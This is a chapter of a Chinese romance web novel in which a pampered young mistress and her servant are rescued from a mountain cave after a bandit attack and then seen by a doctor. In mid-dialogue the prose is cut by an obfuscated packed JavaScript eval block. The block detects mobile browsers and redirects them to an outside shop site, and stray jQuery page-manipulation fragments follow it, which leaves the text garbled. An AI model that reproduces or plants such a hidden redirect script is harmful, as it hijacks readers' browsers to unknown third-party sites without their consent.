林宝珠是被一阵阵清脆的鸟叫声吵醒的。
“唔……现在什么时辰了?”她眼睛都没睁开,枕着个很软的东西,让她完全不想清醒。
鼻间环绕着一股十分好闻的清香,干净又澄澈,而且闻起来好熟悉啊……
“小姐醒了?”清冽的声音飘进她耳朵里,林宝珠皱着眉,半睁开一只眼睛,迷迷糊糊看见一张极好看的俊脸。
哦,对了,这是她家漂亮小奴才。
她翻了个身,才发现自己睡在了他肩窝处,不过林宝珠也没觉得怎么样,毕竟连按腰这种事都让他帮着做了,躺他肩上睡一晚有什么大不了的,让主子舒心本来就是奴才的分内之事嘛!
林宝珠打了个哈欠,手撑在他身上慢慢坐起来。
“哎呦,我的脖子……”她摸着后颈哼哼唧唧的。
昨天在这山洞将就了一夜,睡惯了柔软丝绸大床,在一起来就浑身腰酸背痛的。
果然,难怪都说由富转贫是最难捱的。
她正嘟囔着回去找个师傅按按,一双大手就覆在她按着脖子的手上,后边手背上温热的温度随着陆遇亭的声音的声音一同传来:
“奴帮小姐按按吧。”
林宝珠立刻扬起笑意,收回手等着他帮自己捏捏脖子:
“好呀好呀,你来帮我捏捏脖子,昨天睡的我难受死了。”
想起上次陆遇亭帮她按了按腰,手法那么好,这次肯定也不错。
少女背对着他,一副全然信任的样子把那截纤细白皙的脖颈露在他眼前,陆遇亭将自己的手比上去,轻轻捏住,指尖陷入绵白的皮肤,触感依旧是柔软的不可思议。
他已经开始贪恋触碰她了。
“嘶……嗯,对对对就是那里。”
身后的人开始轻缓的揉捏她的后颈,掐住一些她酸胀的筋骨,力道适中的按压着,将她被堵住似的脖颈筋脉通畅开来,舒缓的林宝珠眼睛都眯了起来,像只被顺毛顺舒服的猫儿。
“嗯……再往左边一点。”
有一个位置一直没有被按到,林宝珠觉得分外不得劲。
“这样吗?小姐?”
林宝珠不耐烦的“啧”,抬起手往后伸,握住陆遇亭的手腕,把着他的手放到正确的地方。
温软的手覆在他的手腕上,因为手指不够长,连完全握住都做不到,落在陆遇亭眼里,却显得十分可爱。
“哎呦,是这里。”
“刚才还挺通我心意的,怎么突然一下还找不到位子了?”
陆遇亭带着笑意的声音从后边传了过来:“是,奴愚笨,这就继续帮小姐按。”
如果这时候林宝珠转头,就会瞧见少年嗓音里看似平常的笑意,在脸上其实带着几分细微的得逞。
陆遇亭帮她按了一会儿脖子后,林宝珠一下就觉得好多了,整个人神清气爽的。
她笑嘻嘻的对他道:“虽然本小姐说过很多遍了,但还是不得不说买了你还真是挺值的嘛。”
山上的清晨还带着些许的凉意,火堆也早就熄灭了,怕林宝珠着凉,陆遇亭微微弯腰,一边把自己的外衫罩披在她身上一边回道:“小姐谬赞,这都是奴应该做的。”
林宝珠又无聊的开始戳戳他的脸玩,给她整理衣服的手一顿,动作悄悄放慢,让她在自己脸上乱戳。
不过她也没弄很久,戳了几下就放下手,喃喃道:“也不知道翠云他们怎么样了?”
因为离的近,陆遇亭将她的话听的一清二楚,宽慰道:“小姐不必担心,说不定翠云姐姐他们已经回府搬了人过来,官兵也在来的路上呢。”
说着,陆遇亭便向洞口边走去,拨开藤蔓往外看了看:
“小姐,眼下雨已经停了。路要比昨天好走,应该很快就会有人找过来的。”
林宝珠跟着他走到洞口,在陆遇亭身后探出脑袋看了看。
清晨的山林被雨水洗过之后格外清新,空气里弥漫着湿泥土和青草的味道。
不远处隐隐传来她今天早上听到的那几声鸟鸣,近处有水滴从树叶上滑落,打在岩石上叮咚作响。
“唉,希望翠云和阿文已经在来的路上了吧。”她望着山下,眉间浮起一抹忧色。
“阿文哥机灵,翠云姐姐也不是遇事就慌的人,”陆遇亭侧身安抚自家小姐,声音平稳却笃定:“小姐很快就会没事的。”
林宝珠正要说什么,忽然听见远处传来隐约的喊声。
“小姐——小姐——”
她猛地睁大眼睛,一把抓住陆遇亭的手臂,声音都激动的劈了:“阿亭!是翠云!是翠云的声音!”
陆遇亭仔细听了一瞬,确认是翠云和阿文的声音没错,才扶着林宝珠走出洞口,朝声音传来的方向扬声回应:
“翠云姐姐!阿文哥!小姐在这里!”
那边听到了陆遇亭的声音,安静了几秒,接着便是激动的有些控制不住音量的喊声:
“阿亭?阿亭是你吗?你和小姐现在在一起吗?小姐没事吧?”
陆遇亭刚想回话,林宝珠就先他一步手做喇叭状放在唇边喊到:“我没事!你们快来!”
因为喊的声音太大,林宝珠还稍微扯到了些嗓子,咳嗽了两声。
陆遇亭拍拍她的背帮着她顺气。
“小姐昨晚到现在都没怎么喝水,小心勿伤着嗓子,奴替小姐开口就好。”
他话音刚落,不远处就传来一阵阵兵荒马乱的脚步声。
“小姐!阿亭!”
林宝珠人还没反应过来,一个身影就先跌跌撞撞地朝她冲了出来。
翠云的圆脸肿得跟核桃似的,眼睛也红红的,衣裳被树枝刮破了好几处,头发也有些乱,整个人看着也很狼狈。
她看到林宝珠好端端地站在洞口,哇的一声就哭了,扑上来抱住她,力气大得差点把林宝珠撞回洞里。
“小姐你吓死奴婢了!呜呜呜……您衣裳怎么破了?有没有哪里受伤了?饿不饿?冷不冷?奴婢昨晚一整夜都没合眼,您要是出事了,奴婢也不活了……”
林宝珠被她这一连串连珠炮似的话砸得晕头转向,刚想下意识地说自己没事,就见抱着她的小丫鬟一下拉开自己,仔仔细细的一点点查看她有没有事。
“都是奴婢不好,没能护住小姐……”
“好了好了,我没事,真的一点事都没有。”她苦笑不得的揽住翠云的腰,拍了两下,打断这小丫头喋喋不休的嘴。
“你看看你,哭成这样,不知道的还真以为你家小姐有什么三长两短的,我这不是好好的嘛。”
翠云的眼泪还没止住,阿文就紧跟着冲出来,脸上又是泥又是汗,额头上还有昨天被山匪碰磕出来的淤青。
他看见林宝珠安然无恙,嘴巴张了张,心里那块大石头终于落下,眼眶刷地就红了。
他猛地转过身去,用袖子狠狠擦了一把脸,然后才转回来,声音还带着鼻音:
“小姐,您没事就好,没事就好。昨晚您和阿亭不见了,奴和阿武他们急得差点把山翻过来,偏偏又突然开始下大雨,山路越发不好走,找人都难找……”
翠云擦了下眼泪,语气埋怨:
“还不都是你,说什么青石岭走过好多回了,结果呢?小姐要是真出了事,我看你怎么办。”
“我那是!我那是……”阿文挠着头,支支吾吾了半天:“我那是想着,小姐那么想去灵云寺,又怕遇到山匪,刚好走到那段路了,便安慰安慰她嘛,青石岭我确实走了很多遍,谁想到这次……刚好就让咱们碰到山匪了。”
“那小姐那么金贵,能和你比吗?”
……
林宝珠看着他们两个你一言我一语地就开始吵闹起来,忍不住扑哧一声笑了出来。
劫后余生的庆幸和后怕交织在一起,激得她鼻子有些发酸。
……
她张开手臂,又把翠云揽过来抱了一下,顺手还揉了揉阿文的脸,动作又快又自然,语气又恢复了平常的精神气:
“行了行了,吵死人了你们两个,本小姐现在不是没事了吗?别一个两个给我哭丧着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17601207|203455||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
脸,多不吉利!”
两个人立马噤了声,朝林宝珠行礼。
“是,奴知错”
“是,奴婢知错”
阿文擦了擦鼻子,声音终于恢复了正常:
“小姐,苏伯此刻正带着人在山下呢。”
“昨天我们和山匪没纠缠多久就脱身了,阿力带着翠云姐姐,立马跑回府里报信,还报了官,回来的时候山匪跑了大半,但还是抓了几个。”
“官府的人搜了一夜的山。苏伯连夜让人回城请了最好的大夫,这会儿在山下等着呢。就怕小姐哪里磕着碰着,或者受伤出事了。”
林宝珠的心,此刻才完完全全的放下来,她靠着翠云,长长的送了一口气。
“我没什么事,倒是阿亭。”
她转头看向陆遇亭,发现少年已经站在了阿文旁边,正安静地站在那里看着她。
阿文和翠云听小姐提起阿亭,才去注意那个沉默了半天的少年。
“阿亭,你额头上……”阿文看到陆遇亭额头上的血迹,倒吸了一口气。
“不碍事的,阿文哥,只是一些皮外伤。”陆遇亭轻轻摇头。
到底一起翠云也有些心疼,说道:“阿亭,苏伯带来的秦大夫可厉害了,让他给你开个不会留疤的药,不然你这脸可真是……”
确认没什么大事之后,主仆几个便下了山。
虽然再三重复自己真的没什么事,陆遇亭把她护的很好,但苏伯还是不放心的让林宝珠接受了大夫的检查。
就像翠云说的,秦大夫是从城里最有名的医馆请来的,据说祖上三代还出过几个宫里边儿的御医。
他仔仔细细地给林宝珠把了脉,又检查了她脚上的淤青和手臂上的轻微刮伤,最后得出结论道:“小姐吉人自有天相,除了一些皮外伤和轻微受惊,并无大碍,吃两副安神汤便可。
”秦大夫手上的笔不停,写下一纸药方后递给林宝珠身边的翠云,面露赞许道:
“小姐虽说平日里瞧着娇贵,但骨子里倒是结实,身子底子在那儿。这脚踝上的淤青抹几日药酒就能消,手臂上的刮伤按老夫的药方每日涂抹,也不会留下疤。”
“至于这惊吓,老夫再给开一副安神汤,小姐喝了好好睡一觉便好。”
林宝珠异常乖巧地点了点头。
她是真的觉得自己还好,除了身上有些酸疼还是因为没睡好才这样,精神头倒是一点不差。
倒是旁边的苏伯,从她下山到现在一直黑着脸,嘴唇抿得死紧,花白的眉毛皱成一团,在旁边走来走去,把每一个细节都问了三遍还不放心。
这位林府的老管家叹了口气,对着林宝珠拱手道:“也都是老奴的错,明知那地方闹这种事,居然还让小姐去,万一小姐有个三长两短,老奴如何向老爷夫人交代呀。”
林宝珠无奈的跳到他身边,完全一副没事人的样子说道:“哎呦苏伯,我真的没事!秦大夫都说没事了。”
她指了指正在接受秦大夫查看的陆遇亭:“多亏了阿亭,滚下坡的时候他全程把我护着好好的,要说有事,他估计是受伤最多的。”
话音刚落,林宝珠就听到秦大夫严肃的声音:“小公子,你这后背上的伤口,可不浅啊……”
“还好你自己处理过来,不然要是发炎,可够你受的,让老夫看看你的脉象,若是有内伤还要另当别论了。”
还有阿文和翠云的惊呼:“天哪阿亭,你这背上怎么这么多伤?”
林宝珠闻言,脸上的笑容僵住了,调转了步子,朝陆遇亭那边走去:
“让本小姐看看。”
但陆遇亭却眼疾手快的,用另一只手把衣服穿上了。
“奴没事,只是皮肉伤难看,别污了小姐眼睛。”
林宝珠看着他平静的脸,刚想说些什么,秦大夫先她一步开口:
“还好,没什么内伤,脉象都是好的,只是这皮外伤有些严重。”
“你脸上的伤还算轻,不会留疤,至于背上和手臂上的,老夫只能尽力而为。”